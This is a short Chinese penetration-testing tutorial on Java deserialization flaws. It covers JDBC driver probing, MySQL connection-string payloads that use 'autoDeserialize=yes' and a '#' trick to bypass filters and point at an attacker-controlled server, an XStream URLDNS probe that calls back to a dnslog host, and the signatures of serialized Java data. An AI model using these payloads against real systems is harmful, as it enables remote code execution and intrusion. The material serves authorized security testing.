一、JDBC反序列化
JDBC 反序列化漏洞通常出现在与数据库连接相关的功能中,例如数据源配置、连接测试等环节。

常见的可利用数据库包括 MySQL、H2、PostgreSQL 等。不同数据库的利用链(Gadget Chain)和触发点各有差异。一种探测方法是,在连接字符串中指定不同的驱动类名,然后观察服务端的报错信息,以此判断其是否加载了对应的驱动类。
例如,可以尝试以下驱动类:
com.mysql.jdbc.Driver
org.h2.Driver
org.postgresql.Driver
1.1 MySQL利用与绕过
针对MySQL数据库的利用思路前文已有提及,这里补充几种常见的参数过滤绕过手段。
- 绕过
autoDeserialize=true 过滤
若服务端过滤了参数值 true,可以尝试使用 yes 替代。
jdbc:mysql://10.0.0.0:1234/test?autoDeserialize=yes&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
- 注释末尾强制添加的参数
如果服务端会在连接字符串末尾强行追加
autoDeserialize=false,可以使用 # 号将其注释掉。
jdbc:mysql://10.0.0.0:1234/test?autoDeserialize=yes&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#
1.2 H2数据库利用
针对H2数据库的反序列化利用,可以使用ysoserial等工具生成Java反序列化利用链(Gadget Chains)进行攻击。


二、XStream反序列化
在传输XML格式数据的请求中,除了常见的XXE(XML外部实体注入)漏洞外,还可能存在 XStream 反序列化漏洞。

我们可以使用无害的URLDNS链进行探测。如果目标成功解析了XML并触发了其中的DNS查询,导致我们的DNSLog平台收到回连记录,这通常表明后端使用了XStream组件处理XML数据。
探测Payload示例:
<map>
<entry>
<url>http://your-dnslog.ceye.io/1</url>
<string></string>
</entry>
</map>

确认存在漏洞后,同样可以利用工具生成相应的反序列化利用链执行命令。


三、原生反序列化漏洞
Java原生反序列化的数据流具有明显的特征。经过Base64编码后,数据通常以 rO0AB 开头;而其原始的字节流(十六进制表示)则通常以 AC ED 00 05 开头。在黑盒测试中,识别出这些特征是判断是否存在原生反序列化入口的关键。具体的漏洞利用思路与前述方法类似,核心在于构造合适的反序列化利用链。

|